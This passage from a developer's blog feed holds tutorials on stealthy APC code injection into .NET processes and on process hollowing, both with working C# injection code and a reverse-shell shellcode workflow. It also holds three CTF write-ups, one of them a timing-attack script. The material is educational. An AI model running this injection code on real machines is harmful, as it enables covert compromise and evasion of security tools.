DEV Community: wireless90

Stealthy Code Injection in a Running .NET Process

wireless90 — Sun, 25 Jul 2021 15:01:04 +0000

Stealthy Code Injection in a Running .NET Process

Prologue

For the past few months, I gained interest in understanding more on the Portable Executable(PE) format and Process Injection. Among the many Process Injection techniques available, I was intrigued by APC INJECTION.

Asynchronous Process Calls (APC)

Malware can take advantage of Asynchronous Procedure Calls (APC) to force another thread to execute their custom code by attaching it to the APC Queue of the target thread. Each thread has a queue of APCs which are waiting for execution upon the target thread entering alertable state. A thread enters an alertable state if it calls SleepEx, SignalObjectAndWait, MsgWaitForMultipleObjectsEx, WaitForMultipleObjectsEx, or WaitForSingleObjectEx functions. The malware usually looks for any thread that is in an alertable state, and then calls OpenThread and QueueUserAPC to queue an APC to a thread.

The above, taken from Ashkan Hosseini's writeup (see credits below), gives a very good overview of APCs and how malwares could possible use them for Process Injection.

Basically,

Every thread has a queue.
You can put a function in this queue.
This queue executes asynchronously, meaning when the thread is free and in an alertable state, the function in this queue gets ran FIFO
For a thread to be in an alertable state, the thread needs to execute one of the following functions

So where are we going with this?

The core of this injection technique is the function QueueUserAPC.

QueueUserApc adds the shellcode as an asynchronous function which will be called when the thread becomes alertable.

One might think that an Antivirus or an EDR could simply hook into this function and flag whoever uses it. However, this is a frequently used function for Asynchronous Programming. So the security solutions might monitor a chain of call from QueueUserApc into ResumeThread or some other functions like CreateThread, CreateRemoteThread API calls which are more popular and hence usually more scrutinized by AV/EDR vendors.

What if there exists a way, in the realm of .Net Applications, where the thread is set to alertable always, not by us, but by the Common Language Runtime(CLR)?

CLR is Our Friend

When we compile a .Net code, it is compiled into Microsoft Intermediate Language (MSIL) code. This is in the format of a .exe or a .dll. However these PE files do not contain the machine instructions. A common term for them is Managed Code. They are machine independant. As long as you have the right .Net Framework installed, you are good to go.

The CLR Loader loads this Managed Code and sends the instructions into the Just-in-time compiler which converts the MSIL code at runtime to machine code which is executed by the CPU.

Interestingly enough, The image above shows that the CLR ultimately handles the threading support as well. Threads in .NET are handled by the CLR for you and it might call one of the alertable methods listed above.

A statement in C# such as,

Thread.Sleep(1000);

will eventually be compiled by the JIT and call one of the alertable methods, SleepEX(..).

The thread is now lying dormant, sleeping. Unless, its APC queue has some function that it needs to execute.

The interesting part is, we don't even need our target executable to be calling Thread.Sleep.

This amazing article and research by Dwight Hohnstein, shows that

Due to the nature of the .NET compiled language runtime, user asynchronous procedure calls (APCs) are processed upon the exit of any .NET assembly without manually triggering an alertable state from managed code.

It shows that the CLR always calls WaitForMultipleObjectsEx when ever the program exits!

What this means for us?

This means that ALL .NET executables, even if they do not have any alertable calls, are loaded by the CLR and upon exit of the .Net executable, the CLR will call an alertable method.

This means we can easily inject our shellcode in the form of MSIL code, into .net executables, without overly using the suspicious chain of API calls, and eventually, when the target program exits, the thread would be set to an alertable state as the CLR calls WaitForMultipleObjectsEx, and our shellcode executes.

This inspired me to write a POC to see for myself if it really works.

I am going to omit some code in these examples, so as to make it shorter.

The full source code is in the repository.

Let's first create our ShellCode

The shellcode is going to be a simple reverse shell written in C#. Its a reverse shell that connects to port 3333

Code can be found here;

I then used Donut to compile our MSIL binary into a shellcode.

D:\Users\Razali\Source\Repos\donut>donut.exe -a2 -f2 -cShellCode.Program -mMain -o "myshellcode.txt" "D:\Users\Razali\Source\Repos\ProcessInjector.NET\ProcessInjector\ShellCode\bin\Release\shellcode.exe"

  [ Donut shellcode generator v0.9.3
  [ Copyright (c) 2019 TheWover, Odzhan

  [ Instance type : Embedded
  [ Module file   : "D:\Users\Razali\Source\Repos\ProcessInjector.NET\ProcessInjector\ShellCode\bin\Release\shellcode.exe"
  [ Entropy       : Random names + Encryption
  [ File type     : .NET EXE
  [ Target CPU    : amd64
  [ AMSI/WDLP     : continue
  [ Shellcode     : "myshellcode.txt"

-a2 specifies to compile the shellcode to amd64

-f2 specifies to encode it to base64

-c specifies the <namespace>.<class name>

-m specifies the Method name

-o specifies the output filename

Lets next set up our listener

I will be using netcat for all examples below, to listen for a connection and interact with the shell.

C:\Users\Razali\Desktop\ncat-portable-5.59BETA1>ncat -l 3333

Self Injection

This example demonstrates that after injecting the shellcode within the calling process, when the process exits, the shellcode gets called. At no part of the code did we put any alertable calls.

static void SelfInject(byte[] shellcode)
{
    IntPtr allocatedSpacePtr = VirtualAlloc(0, shellcode.Length, 0x00001000, 0x40);
    Marshal.Copy(shellcode, 0, allocatedSpacePtr, shellcode.Length);
    QueueUserAPC(allocatedSpacePtr, GetCurrentThread(), 0);
    Console.WriteLine("Goodbye");
}

Henceforth, it confirms that when a .NET process exits, the CLR did call an alertable method on behalf of me, which invokes the shellcode, and we get a shell.

Injection using Race Condition

As stated in the documentattion of QueueUserAPC, if we queue an APC before the main thread starts, the main thread would first prioritize running all the APC(s) in the queue before running the main code.

While experimenting, I found that a Console Application is sometimes too quick to perform a race condition on, as the CLR seems to load and start the main thread even before I finish writing my APC into the queue.

Thus, I tried injecting the APC into a Windows Form, which takes a longer time for the UI Thread to be set up by the CLR, allowing me to quickly inject my APC before it begins. What we expect to observe is to achieve a shell without even exiting the .NET process, as the shell is achieved even before the UI Thread(main thread) starts. Since the shell is being run by the UI Thread, we won't see the Windows Form as the UI Thread is busy with my shell.

static void InjectRunningProcessUsingRaceCondition(byte[] shellcode, string victimProcessPath)
{
    STARTUPINFO startupinfo = new STARTUPINFO();
    PROCESS_INFORMATION processInformation = new PROCESS_INFORMATION();

    CreateProcess(null, victimProcessPath, 0, 0, false, 0, 0, null, ref startupinfo, ref processInformation);

    IntPtr allocatedSpacePtr = VirtualAllocEx(processInformation.hProcess, IntPtr.Zero, shellcode.Length, 0x00001000, 0x40);
    IntPtr bytesWritten = IntPtr.Zero;

    WriteProcessMemory(processInformation.hProcess, allocatedSpacePtr, shellcode, shellcode.Length, out bytesWritten);

    Process process = Process.GetProcessById(processInformation.dwProcessId);
    foreach (ProcessThread thread in process.Threads)
    {
        IntPtr threadHandle = OpenThread(0x0010, false, thread.Id);
        VirtualProtectEx(processInformation.hProcess, allocatedSpacePtr, shellcode.Length, 0x20, out _);
        QueueUserAPC(allocatedSpacePtr, threadHandle, 0);
    }
}

Henceforth, it confirms that it is possible to race against the Main thread, and inject our APC before it starts, which results in the Main thread executing our APC before the actual code.

Injecting into any Running .NET Process

As confirmed in our first example, our APC would get executed after the program exits.

I simulated it by simply letting my Windows Form boot up first, giving it a headstart by pausing using Thread.Sleep in my injector code, after which I perform the injection.

static void InjectRunningProcess(byte[] shellcode, string victimProcessPath)
{
    STARTUPINFO startupinfo = new STARTUPINFO();
    PROCESS_INFORMATION processInformation = new PROCESS_INFORMATION();

    CreateProcess(null, victimProcessPath, 0, 0, false, 0, 0, null, ref startupinfo, ref processInformation);

    //Thread sleep is used here to give the victim process time to load and run its main thread.
    //We do not want to race against it.
    Thread.Sleep(3000);

    IntPtr allocatedSpacePtr = VirtualAllocEx(processInformation.hProcess, IntPtr.Zero, shellcode.Length, 0x00001000, 0x40);
    IntPtr bytesWritten = IntPtr.Zero;

    WriteProcessMemory(processInformation.hProcess, allocatedSpacePtr, shellcode, shellcode.Length, out bytesWritten);
    Process process = Process.GetProcessById(processInformation.dwProcessId);
    foreach (ProcessThread thread in process.Threads)
    {
        IntPtr threadHandle = OpenThread(0x0010, false, thread.Id);
        VirtualProtectEx(processInformation.hProcess, allocatedSpacePtr, shellcode.Length, 0x20, out _);
        QueueUserAPC(allocatedSpacePtr, threadHandle, 0);
    }
}

As expected, the moment I close the application, we gain a reverse shell.

The above image shows that the Form starts, after which the injection of the APC occurs. No connection happens as expected.

After exiting the form, we gain a reverse shell.

Conclusion

We saw that the CLR would always make the main thread alertable, which we can leverage on using the QueueUserAPC injection method. Although we could call the alertable method ourselves, allowing the CLR to call it for us makes it more stealthy. We also saw that this could be exploited for any .NET executables.

As Dwight Hohnstein concluded in his blogpost, one can then leverage on hooking into the task schedular events and injecting into one of the scheduled programs. This would allow our code to be ran in a "signed" binary, or be ran with leveraged permissions.

Credits

IvyFinal CTF (Crypto 3) - Silly 400 - points

wireless90 — Tue, 06 Jul 2021 16:05:54 +0000

You can get the binary here .

silly - 400 points

192.168.40.199 8300

The server code is given to us as such.

from flask import Flask, request, Response
from flask_cors import CORS
from hashlib import md5
import time

app = Flask(__name__)
CORS(app)

def get_flag_length():
    time.sleep(0.05) # Throttling against brute-forcers
    flag = open('../flag.txt','r').read()
    return len(flag)

def get_flag_char(i):
    flag = open('../flag.txt','r').read()
    return flag[i].encode()

def checkflag(userflag):
    for i, c in enumerate(userflag):
        if get_flag_length() <= i:
            return False

        if c.encode() != get_flag_char(i):
            return False

    if get_flag_length() != len(userflag):
        return False

    return True

@app.route("/", methods=['GET'])
def index():
    userflag = request.args.get('flag')
    if not userflag:
        return Response("Missing flag", status=401)

    if checkflag(userflag):
        return Response("YOU DID IT!!!", status=200)
    else:
        return Response("Wrong flag. Characters supported: [a-z_{}]", status=401)

Let's Begin

In order to get the flag, we need to pass the checkflag method.

The index method also gives us the clue to the characters in the flag.

return Response("Wrong flag. Characters supported: [a-z_{}]", status=401)

In the checkflag method, it checks for every character if get_flag_length() <= i.

We can see a bruteforce preventive measure in the function.

time.sleep(0.05) # Throttling against brute-forcers

However, due to multiple uses of get_flag_length in the checkflag method, this could cause a delayed response when we entered a wrong character vs the correct character. The correct character will incur a longer delay.

Thus we can perform a time based attack. The character which incurred the longest delay would be the right one.

In [10]: import requests

In [11]: payload = {'flag': 'a'}

In [12]: response = requests.get('http://192.168.40.199:8300', params=payload)

In [13]: response.text
Out[13]: 'Wrong flag. Characters supported: [a-z_{}]'

So we know that the flag contains lower case alphabets, curly braces and underscores.

So to do the time based attack, we can

In [28]: import string

In [29]: import requests

In [30]: characters = [ch for ch in string.ascii_lowercase] + ['{', '}', '+']

In [31]: found = []

In [32]: while '}' not in found:
    ...:     longest_time = 0
    ...:     character = '0'
    ...:     for ch in characters:
    ...:         payload = {'flag': ''.join(found) + ch}
    ...:         response = requests.get('http://192.168.40.199:8300', params=payload)
    ...:         seconds = response.elapsed.total_seconds()
    ...:         if seconds > longest_time:
    ...:             longest_time = seconds
    ...:             character = ch
    ...:     found.append(character)
    ...:     print(''.join(found))
    ...:
i
iv
ivy
ivyc
ivyct
ivyctf
ivyctf{
ivyctf{c
ivyctf{ca
ivyctf{can
ivyctf{can}

And we got the flag.

IvyFinal CTF (Crypto 2) - HeadCracker 300 - points

wireless90 — Sat, 03 Jul 2021 12:28:50 +0000

The file can be downloaded here.

HeadCracker - 300 points

The best tool to crack this custom cipher with is your head. Just don't literally crack your head.

Let's Begin

Let's first see what type of file we are dealing wih

┌──(razali㉿razali)-[~/Documents/Ivy/Finals/crypto]
└─$ file flag.enc          
flag.enc: data

It seems like a gibberish file.                                                                                                                                                                                                                                             
┌──(razali㉿razali)-[~/Documents/Ivy/Finals/crypto]
└─$ cat flag.enc           
���>����`

AJW:�AW��J�`����

>ϩ��                                                                                                                                                                                                                                             
┌──(razali㉿razali)-[~/Documents/Ivy/Finals/crypto]
└─$ xxd flag.enc 
00000000: cfe4 4108 c73e 8bcf 06ea 9c60 0a0a 4106  ..A..>.....`..A.
00000010: 4a57 3a9c 0641 579a ea06 4a9c 6086 06cf  JW:..AW...J.`...
00000020: 1606 16c7 cf0a 0a06 3ecf a99c d7         ........>....

Since the question wants us to manually crack the file, i'm pretty sure its either rot based cipher or perhaps
a substitution cipher.

I know that the flag has the format of ivyctf{...}.

Lets look at the hex position of {, it has a value of 8b.
The position of } has the value of d7. Thus its definitely not a rot based cipher as i expected them to be 1 byte apart but 8b and d7 are too far apart.

So I did a script to guess the flag using substitution cipher.

Firstly, to open the file


file = open('flag.enc', 'rb').read()

Next I converted it to hex.


bytes_list = []
for byte in file:
    value = ord(byte)
    hex_value = hex(value)[2:]
    hex_value = hex_value if len(hex_value) == 2 else '0'+hex_value
    bytes_list.append(hex_value)

I also wanted to know the number of occurances of each hex value, just to get an overall
understanding of which character appears the most.

occurances = {}

for byte in bytes_list:
    if byte in occurances:
        occurances[byte] = occurances[byte] + 1
    else:
        occurances[byte] = 1


import pprint

pprint.pprint(occurances)

Finally, I created a loop to allow me to replace hex values to thier guessed letter.

while True:
    print("The flag is now ")
    print(''.join(bytes_list))
    byte = raw_input("Which byte do you want to replace: ")
    replacement = raw_input("What is the replacement character? [a-z_{}]: ")
    bytes_list = [b if b != byte else replacement for b in bytes_list]

Let's run the script. It first displays the occurances.

┌──(razali㉿razali)-[~/…/Ivy/Finals/crypto/headcracker]
└─$ python cracker.py
{'06': 7,
 '08': 1,
 '0a': 4,
 '16': 2,
 '3a': 1,
 '3e': 2,
 '41': 3,
 '4a': 2,
 '57': 2,
 '60': 2,
 '86': 1,
 '8b': 1,
 '9a': 1,
 '9c': 4,
 'a9': 1,
 'c7': 2,
 'cf': 5,
 'd7': 1,
 'e4': 1,
 'ea': 2}

Since the flag starts with ivyctf{...}, the ... could be [a-z] and underscore.
Thus i predicted the highest occurance to be an underscore.

The flag is now 
cfe44108c73e8bcf06ea9c600a0a41064a573a9c0641579aea064a9c608606cf160616c7cf0a0a063ecfa99cd7
Which byte do you want to replace: 06
What is the replacement character? [a-z_{}]: _
The flag is now 
cfe44108c73e8bcf_ea9c600a0a41_4a573a9c_41579aea_4a9c6086_cf16_16c7cf0a0a_3ecfa99cd7

Then i proceeded to fill in ivyctf{}.

Which byte do you want to replace: cf
What is the replacement character? [a-z_{}]: i
The flag is now 
ie44108c73e8bi_ea9c600a0a41_4a573a9c_41579aea_4a9c6086_i16_16c7i0a0a_3eia99cd7
Which byte do you want to replace: e4
What is the replacement character? [a-z_{}]: v
The flag is now 
iv4108c73e8bi_ea9c600a0a41_4a573a9c_41579aea_4a9c6086_i16_16c7i0a0a_3eia99cd7
Which byte do you want to replace: 41
What is the replacement character? [a-z_{}]: y
The flag is now 
ivy08c73e8bi_ea9c600a0ay_4a573a9c_y579aea_4a9c6086_i16_16c7i0a0a_3eia99cd7
Which byte do you want to replace: 08
What is the replacement character? [a-z_{}]: c
The flag is now 
ivycc73e8bi_ea9c600a0ay_4a573a9c_y579aea_4a9c6086_i16_16c7i0a0a_3eia99cd7
Which byte do you want to replace: c7
What is the replacement character? [a-z_{}]: t
The flag is now 
ivyct3e8bi_ea9c600a0ay_4a573a9c_y579aea_4a9c6086_i16_16ti0a0a_3eia99cd7
Which byte do you want to replace: 3e
What is the replacement character? [a-z_{}]: f
The flag is now 
ivyctf8bi_ea9c600a0ay_4a573a9c_y579aea_4a9c6086_i16_16ti0a0a_fia99cd7
Which byte do you want to replace: 8b
What is the replacement character? [a-z_{}]: {
The flag is now 
ivyctf{i_ea9c600a0ay_4a573a9c_y579aea_4a9c6086_i16_16ti0a0a_fia99cd7
Which byte do you want to replace: d7
What is the replacement character? [a-z_{}]: }
The flag is now 
ivyctf{i_ea9c600a0ay_4a573a9c_y579aea_4a9c6086_i16_16ti0a0a_fia99c}

Notice the i16, since its only 2 letters, it should either be is or it.
Let's try is.

Which byte do you want to replace: 16
What is the replacement character? [a-z_{}]: s
The flag is now 
ivyctf{i_ea9c600a0ay_4a573a9c_y579aea_4a9c6086_is_sti0a0a_fia99c}

Notice sti0a0a, its a 4 letter word sti** where the last 2 character are the same. I guessed it as still.

Which byte do you want to replace: 0a
What is the replacement character? [a-z_{}]: l
The flag is now 
ivyctf{i_ea9c60lly_4a573a9c_y579aea_4a9c6086_is_still_fia99c}

Next i noticed the 4 letter word which starts with y, y579aea. I guessed it as your.

Which byte do you want to replace: 57
What is the replacement character? [a-z_{}]: o
The flag is now 
ivyctf{i_ea9c60lly_4ao3a9c_yo9aea_4a9c6086_is_still_fia99c}
Which byte do you want to replace: 9a
What is the replacement character? [a-z_{}]: u
The flag is now 
ivyctf{i_ea9c60lly_4ao3a9c_youea_4a9c6086_is_still_fia99c}
Which byte do you want to replace: ea
What is the replacement character? [a-z_{}]: r
The flag is now 
ivyctf{i_r9c60lly_4ao3a9c_your_4a9c6086_is_still_fia99c}

Next I noticed the 6 letter word, r9c60lly, which looks like really.

Which byte do you want to replace: 9c
What is the replacement character? [a-z_{}]: e
The flag is now 
ivyctf{i_re60lly_4ao3ae_your_4ae6086_is_still_fia9e}
Which byte do you want to replace: 60
What is the replacement character? [a-z_{}]: a
The flag is now 
ivyctf{i_really_4ao3ae_your_4aea86_is_still_fia9e}

Next I noticed 4aea86. *ea*. Since the title of the excercise is HeadCracker, i guessed it as head.

Which byte do you want to replace: 4a
What is the replacement character? [a-z_{}]: h
The flag is now 
ivyctf{i_really_ho3ae_your_hea86_is_still_fia9e}
Which byte do you want to replace: 86
What is the replacement character? [a-z_{}]: d
The flag is now 
ivyctf{i_really_ho3ae_your_head_is_still_fia9e}

With that the rest of it is pretty much self explanatory.

Which byte do you want to replace: 3a
What is the replacement character? [a-z_{}]: p
The flag is now 
ivyctf{i_really_hope_your_head_is_still_fia9e}
Which byte do you want to replace: a9
What is the replacement character? [a-z_{}]: n
The flag is now 
ivyctf{i_really_hope_your_head_is_still_fine}

This was fun to solve!

IvyFinal CTF (Crypto 1) - Warmup 50 points

wireless90 — Sat, 03 Jul 2021 04:25:38 +0000

You can get the file here.

Warmup - 50 points

It's important to warmup before physical activity.

Free hint, don't get used to it: XOR cipher was used for this flag's encryption with a single byte key.

Let's Begin

So we practically need to find the key that was xored. Since its just 1 byte, its easy to bruteforce.

And the flag is always in the format if ivyctf{...}.

So lets find the key that simply xors to match the first letter i.

In [19]: def get_key(contents):
    ...:     for i in range(256):
    ...:         if ord(contents[0]) ^ i == ord('i'):
    ...:             return i
    ...:
    ...:
    ...:
    ...:
    ...:

Above is just a function that gets the content of the file and goes through the value of a byte, 0 to 255.
For each of the value, we xor it with the first letter and see if it hits the letter i.

Once we get the key, we simply xor it with the rest of the file.

In [21]: def crack_flag(contents, key):
    ...:     flag = []
    ...:     for ch in contents:
    ...:         flag.append(chr(ord(ch) ^ key))
    ...:     print(''.join(flag))

Once we get our functions right, lets run them.

In [23]: contents = open('flag.enc', 'r').read()

In [24]: crack_flag(contents, get_key(contents))
ivyctf{all_warmed_up_and_ready_to_go}

Process Injection (Process Hollowing)

wireless90 — Wed, 23 Jun 2021 13:21:10 +0000

Code sample in github

ProcessInjector.NET

Understanding one of the the Process Hollowing technique used by Malware Authors

[The gif above takes awhile (30 sec) to load]

Example Run

Injecting TvnViewer.exe into notepad++.exe
[+] Creating Victim Process notepad++.exe
        [*] Successfully created victim process notepad++.exe
[+] Retrieving Thread Handle of notepad++.exe
        [*] Thread Handle at  0x2E0
[+] Allocating unmanaged memory for ThreadContext of notepad++.exe
[+] Retrieving ThreadContext of notepad++.exe
[+] Retrieving ImageBase Address of notepad++.exe
        [*] notepad++.exe's ImageBase Address is 0xA5A7162010
[+] Allocating unmanaged memory for notepad++.exe's ImageBase
[+] Reading ImageBase from notepad++.exe's ImageBase Address
        [*] ImageBase is 0xA5A7162010
[+] Unmapping notepad++.exe's Image
        [*] Successfully unmapped...
[+] Retrieving E_LFANEW of TvnViewer.exe
        [*] E_LFANEW is 0xF0
[+] Retrieving TvnViewer.exe's ImageBase
        [*] ImageBase is 0x140000000
[+] Retrieving Size of TvnViewer.exe
        [*] Size is 0x125000
[+] Allocating space for TvnViewer.exe's Image
        [*] Space allocated at 0x5368709120
[+] Retrieving TvnViewer.exe's Header Size
        [*] Header Size is 0x400
[+] Writing Headers of TvnViewer.exe into notepad++.exe at 0x5368709120
        [*] Headers successfully written...
[+] Retrieving TvnViewer.exe's number of Sections
        [*] Number of sections is  6
[+] Copying Section 1
        [*] Name: .text
        [*] Relative Virtual Address: 0x1000
        [*] Size of Raw Data: 0xC5200
        [*] Pointer to Raw Data: 0x400

[+] Copying Section 2
        [*] Name: .rdata
        [*] Relative Virtual Address: 0xC7000
        [*] Size of Raw Data: 0x3CC00
        [*] Pointer to Raw Data: 0xC5600

[+] Copying Section 3
        [*] Name: .data
        [*] Relative Virtual Address: 0x104000
        [*] Size of Raw Data: 0x5800
        [*] Pointer to Raw Data: 0x102200

[+] Copying Section 4
        [*] Name: .pdata
        [*] Relative Virtual Address: 0x10D000
        [*] Size of Raw Data: 0xC800
        [*] Pointer to Raw Data: 0x107A00

[+] Copying Section 5
        [*] Name: .rsrc
        [*] Relative Virtual Address: 0x11A000
        [*] Size of Raw Data: 0x9000
        [*] Pointer to Raw Data: 0x114200

[+] Copying Section 6
        [*] Name: .reloc
        [*] Relative Virtual Address: 0x123000
        [*] Size of Raw Data: 0x1E00
        [*] Pointer to Raw Data: 0x11D200

[+] ReWriting TvnViewer.exe's ImageBase 0x140000000 in memory
[       *] ImageBase rewriting successful...
[+] ReWriting TvnViewer.exe's EntryPoint 0x140000000 in ThreadContext
[       *] EntryPoint rewriting successful...
[+] Setting ThreadContext
[+] All set and ready to go!
[+] Resuming Thread...

TLDR

I want to try to inject a calculator.exe into notepad++.exe using the Process Hollowing technique.

Overview of Process Hollowing aka (Process Replacement/RunPE)

Instead of injecting code into a host program (e.g., DLL injection), malware can perform a technique known as process hollowing. Process hollowing occurs when a malware unmaps (hollows out) the legitimate code from memory of the target process, and overwrites the memory space of the target process (e.g., svchost.exe) with a malicious executable.

The malware first creates a new process to host the malicious code in SUSPENDED mode. This is done by calling CreateProcess and setting the Process Creation Flag to CREATE_SUSPENDED (0x00000004). The primary thread of the new process is created in a suspended state, and does not run until the ResumeThread function is called. Next, the malware needs to swap out the contents of the legitimate file with its malicious payload. This is done by unmapping the memory of the target process by calling either ZwUnmapViewOfSection or NtUnmapViewOfSection. These two APIs basically release all memory pointed to by a section. Now that the memory is unmapped, the loader performs VirtualAllocEx to allocate new memory for the malware, and uses WriteProcessMemory to write each of the malware’s sections to the target process space. The malware calls SetThreadContext to point the entrypoint to a new code section that it has written. At the end, the malware resumes the suspended thread by calling ResumeThread to take the process out of suspended state.

Creating our Victim Process

In order to achieve it we are first going to create our victim process, in my case, notepad++, in a SUSPENDED state.
In a SUSPENDED state, the victim process is loaded from the filesystem into memory but the primary thread does not run until the ResumeThread function is called.

We are going to use the CreateProcessA function. More details of it can be found here.

BOOL CreateProcessA(
  LPCSTR                lpApplicationName,
  LPSTR                 lpCommandLine,
  LPSECURITY_ATTRIBUTES lpProcessAttributes,
  LPSECURITY_ATTRIBUTES lpThreadAttributes,
  BOOL                  bInheritHandles,
  DWORD                 dwCreationFlags,
  LPVOID                lpEnvironment,
  LPCSTR                lpCurrentDirectory,
  LPSTARTUPINFOA        lpStartupInfo,
  LPPROCESS_INFORMATION lpProcessInformation
);

CreateProcessA Parameters

lpApplicationName

This represents the process name that we want to create. Weirdly enough, this can be NULL. In the case where this is NULL, the process name must be the first white space–delimited token in the lpCommandLine parameter.

I will go ahead and leave this parameter to be NULL and specify our process name at lpCommandLine parameter instead.

lpCommandLine

Since our lpApplicationName is NULL, the first white space–delimited token of the command line specifies the process name. If you are using a long file name that contains a space, use quoted strings to indicate where the file name ends and the arguments begin. Furthermore, if we were to ommit our extension for our process, it will auto append .exe. Lets proceed to put the full path of notepad++.exe.

  string notepadPath = @"D:\Program Files\Notepad++\notepad++.exe";

lpProcessAttributes

A pointer to a SECURITY_ATTRIBUTES structure that determines whether the returned handle to the new process object can be inherited by child processes. If lpProcessAttributes is NULL, the handle cannot be inherited.

I will be putting it as NULL.

lpThreadAttributes

A pointer to a SECURITY_ATTRIBUTES structure that determines whether the returned handle to the new thread object can be inherited by child processes. If lpThreadAttributes is NULL, the handle cannot be inherited.

I will be putting it as NULL.

bInheritHandles

If this parameter is TRUE, each inheritable handle in the calling process is inherited by the new process. If the parameter is FALSE, the handles are not inherited.

I will be putting it as FALSE.

dwCreationFlags

The flags that control the priority class and the creation of the process. For a list of values, see Process Creation Flags.

We want to create a SUSPENDED process. Thus we will be using the CREATE_SUSPENDED flag which has a value 0x4.

lpEnvironment

An environment block consists of a null-terminated block of null-terminated strings. Each string is in the following form:

name=value\0
We won't be needing it thus we will set it to NULL.

lpStartupInfo

A pointer to a STARTUPINFO structure.

I ported the structure with the help from PInvoke.Net StartupInfo.

lpProcessInformation

A pointer to a PROCESS_INFORMATION structure that receives identification information about the new process.

I ported the structure with the help from PInvoke.Net ProcessInformation.

This is a very important structure as we would be using the process and thread handles from it.

Code Example

Let's go ahead and create our victim process in a suspended state.

static void Main(string[] args)
{
    //Paths to our files
    string notepadPath = @"D:\Program Files\Notepad++\notepad++.exe";
    string virusPath = @"C:\Windows\System32\calc.exe";

    byte[] victimFileBytes = File.ReadAllBytes(notepadPath);
    IntPtr victimFilePointer = Marshal.UnsafeAddrOfPinnedArrayElement(victimFileBytes, 0);


    byte[] virusFileBytes = File.ReadAllBytes(virusPath);
    IntPtr virusFilePointer = Marshal.UnsafeAddrOfPinnedArrayElement(virusFileBytes, 0);

    #region Create Victim Process in Suspended State    


    PInvoke.STARTUPINFO startupInfo = new PInvoke.STARTUPINFO();
    PInvoke.PROCESS_INFORMATION processInformation = new PInvoke.PROCESS_INFORMATION();

    bool couldNotCreateProcess = !PInvoke.CreateProcess(
                                        lpApplicationName: null,
                                        lpCommandLine: notepadPath,
                                        lpProcessAttributes: IntPtr.Zero,
                                        lpThreadAttributes: IntPtr.Zero,
                                        bInheritHandles: false,
                                        dwCreationFlags: PInvoke.CreationFlags.SUSPENDED,
                                        lpEnvironment: IntPtr.Zero,
                                        lpCurrentDirectory: null,
                                        lpStartupInfo: startupInfo,
                                        lpProcessInformation: processInformation
                                    );
    if (couldNotCreateProcess)
    {
        Console.WriteLine("Failed to create process...");
    }

    Console.WriteLine("Successfully created victim process...");

    #endregion
}

We have successfully loaded our victim executable to memory, and it is now in a suspended state.

Getting ThreadContext

The ThreadContext contains useful information like the values of the EntryPoint or ImageBase. These information can easily be obtained from the PE File itself, but it might not always be accurate due to Address Space Layout Randomization.

Hence we need to get these values dynamically, once the process has been loaded, in our case, once the process notepad++.exe is stalled in the SUSPENDED state.

So now how do we get the ThreadContext?

We will be utilizing the function GetThreadContext. More details of it can be found here.

BOOL GetThreadContext(
  HANDLE    hThread,
  LPCONTEXT lpContext
);

GetThreadContext Parameters

hThread

A handle to the thread whose context is to be retrieved.

Previously, when we called CreateProcessA, we passed in a lpProcessInformation which is of type PROCESS_INFORMATION. The structure looks as follows in C#.

/// <summary>
/// Contains information about a newly created process and its primary thread. 
/// 
/// <see cref="https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/ns-processthreadsapi-process_information"/>\
/// <seealso cref="https://www.pinvoke.net/default.aspx/kernel32/CreateProcess.html"/>
/// </summary>
[StructLayout(LayoutKind.Sequential)]
public struct PROCESS_INFORMATION
{
    /// <summary>
    /// A handle to the newly created process. 
    /// The handle is used to specify the process in all functions that perform operations on the process object.
    /// </summary>
    public IntPtr hProcess;

    /// <summary>
    /// A handle to the primary thread of the newly created process. 
    /// The handle is used to specify the thread in all functions that perform operations on the thread object.
    /// </summary>
    public IntPtr hThread;


    public int dwProcessId;
    public int dwThreadId;
}

From the above, we can get the handle to the thread using hThread.

IntPtr victimThreadHandle = processInformation.hThread;

lpContext

A pointer to a CONTEXT structure that receives the appropriate context of the specified thread. The value of the ContextFlags member of this structure specifies which portions of a thread's context are retrieved. The CONTEXT structure is highly processor specific. Refer to the WinNT.h header file for processor-specific definitions of this structures and any alignment requirements.

I ported the structure with the help from PInvoke.Net CONTEXT64.

Next we need to create the context structure specifying ContextFlags. The flag to use would be CONTEXT_FULL to get the full context data.

 PInvoke.CONTEXT64 victimThreadContext = new PInvoke.CONTEXT64() { ContextFlags = PInvoke.CONTEXT_FLAGS.CONTEXT_ALL };

As the context structure needs to be aligned as stated in microsofts documentation,

Refer to the WinNT.h header file for processor-specific definitions of this structures and any alignment requirements.

typedef struct DECLSPEC_ALIGN(16) DECLSPEC_NOINITALL _CONTEXT { ... }

The CONTEXT structure needs to be 16 bit aligned.

I have created an Allocate function which accepts the size of dynamic memory needed and the alignment value.

We now have to allocate unmanaged memory space for the context structure.

IntPtr pVictimThreadContext = Allocate(Marshal.SizeOf<PInvoke.CONTEXT64>(), 16);

Now that we have allocated space, I am going to translate the context from my managed memory structure variable victimThreadContext to the unmanaged memory by

 Marshal.StructureToPtr<PInvoke.CONTEXT64>(victimThreadContext, pVictimThreadContext, false);

Once the translation has been performed, we can now call GetThreadContext as follows.

PInvoke.GetThreadContext(victimThreadHandle, pVictimThreadContext);

This will fill up all the context details into the unmanaged memory pointer pVictimeThreadContext.

For easier reading, I translated the unmanaged memory back to our structure by

victimThreadContext = Marshal.PtrToStructure<PInvoke.CONTEXT64>(pVictimThreadContext);

Code Example

IntPtr victimThreadHandle = processInformation.hThread;

PInvoke.CONTEXT64 victimThreadContext = new PInvoke.CONTEXT64() { ContextFlags = PInvoke.CONTEXT_FLAGS.CONTEXT_ALL };

IntPtr pVictimThreadContext = Allocate(Marshal.SizeOf<PInvoke.CONTEXT64>(), 16);

Marshal.StructureToPtr<PInvoke.CONTEXT64>(victimThreadContext, pVictimThreadContext, false);

PInvoke.GetThreadContext(victimThreadHandle, pVictimThreadContext);

victimThreadContext = Marshal.PtrToStructure<PInvoke.CONTEXT64>(pVictimThreadContext);

Getting ImageBase from our victim process

Now why did we get the ThreadContext of our victim process in the first place?

It is needed as the context contains details regarding ImageBase and EntryPoint. Lets tackle the retrieval of ImageBase.

Security Researchers found that the register Rdx was pointing to a memory location. 16 bytes after this location contains the address of the location of ImageBase.

Thus we could get the ImageBase location's address by

ulong rdx = victimThreadContext.Rdx;
ulong victimImageBaseAddress = rdx + 16;

Now that we got the victim's image base address, we can read the victim's ImageBase value from it by using the function ReadProcessMemory. More details of it can be found here.

BOOL ReadProcessMemory(
  HANDLE  hProcess,
  LPCVOID lpBaseAddress,
  LPVOID  lpBuffer,
  SIZE_T  nSize,
